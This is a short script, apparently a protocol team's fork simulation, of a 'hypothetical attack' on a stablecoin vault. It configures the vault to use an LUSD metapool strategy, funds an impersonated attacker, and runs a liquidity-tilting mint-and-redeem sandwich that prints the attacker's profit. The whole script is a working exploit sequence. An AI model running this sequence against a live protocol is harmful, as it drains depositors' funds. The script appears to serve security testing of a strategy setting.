Hypothetical attack

gistfile1.txt

# STEAL FUNDS VIA MINT AND REDEEM
from world import *

LUSD="0x5f98805A4E8be255a32880FDeC7F6728C6568bA0"
LIQUITY_ST_POOL="0x66017D22b0f8556afDd19FC67041899Eb65a21bb"
ATTACKER="0x5E687f547d26732A3F1213e1C31432C3EF6810bc"
LUSD_POOL="0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca"
DAI_BAGS="0x075e72a5eDf65F0A5f44699c7654C1a76941Ddc8"

lusd = load_contract('ERC20', LUSD)
lusd_metapool = load_contract("ousd_metapool", LUSD_POOL)
oracle = Contract.from_explorer(vault_admin.priceProvider())
dai_feed = Contract.from_explorer("0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9")

# VAULT PREPARE
vault_admin.approveStrategy(LUSD_3POOL_STRAT, {"from":TIMELOCK})
vault_admin.setAssetDefaultStrategy(DAI, LUSD_3POOL_STRAT, {'from': STRATEGIST})
vault_admin.setAssetDefaultStrategy(USDT, LUSD_3POOL_STRAT, {'from': STRATEGIST})
vault_admin.setAssetDefaultStrategy(USDC, LUSD_3POOL_STRAT, {'from': STRATEGIST})

# ATTACKER PREPARE
lusd.transfer(ATTACKER, 100e24, {"from": LIQUITY_ST_POOL})
dai.transfer(ATTACKER, 200e24, {"from": DAI_BAGS})
dai.approve(vault_core, 1e50, {"from": ATTACKER})
lusd.approve(lusd_metapool.address, 1e50, {"from": ATTACKER})

attacker_lusd_before = lusd.balanceOf(ATTACKER)
attacker_dai_before = dai.balanceOf(ATTACKER)
attacker_usdt_before = usdt.balanceOf(ATTACKER)
attacker_usdc_before = usdc.balanceOf(ATTACKER)
ousd.approve(vault_core, 1e50, {"from": ATTACKER})

# THE POJO SANDWICH
with TemporaryFork():
	attacker_tilt=16e24

	lusd_metapool.add_liquidity([attacker_tilt, 0], 0, {'from': ATTACKER})
	vault_core.mint(dai, 4e24, 0, {'from': ATTACKER})

	attacker_lp_balance = lusd_metapool.balanceOf(ATTACKER)
	# first 0 is LUSD index, second 0 is min amount
	lusd_metapool.remove_liquidity_one_coin(attacker_lp_balance, 0, 0, {'from': ATTACKER}) 

	vault_core.redeemAll(0, {'from': ATTACKER})

	# END BALANCE CHECKS
	attacker_lusd_after = lusd.balanceOf(ATTACKER)
	attacker_dai_after = dai.balanceOf(ATTACKER)
	attacker_usdt_after = usdt.balanceOf(ATTACKER)
	attacker_usdc_after = usdc.balanceOf(ATTACKER)

	profit = attacker_lusd_after - attacker_lusd_before + attacker_dai_before + attacker_usdt_before + attacker_usdc_before - attacker_dai_after - attacker_usdt_after - attacker_usdc_after
	print("Attacker profited", profit / 1e18, " LUSD on block ", web3.eth.block_number)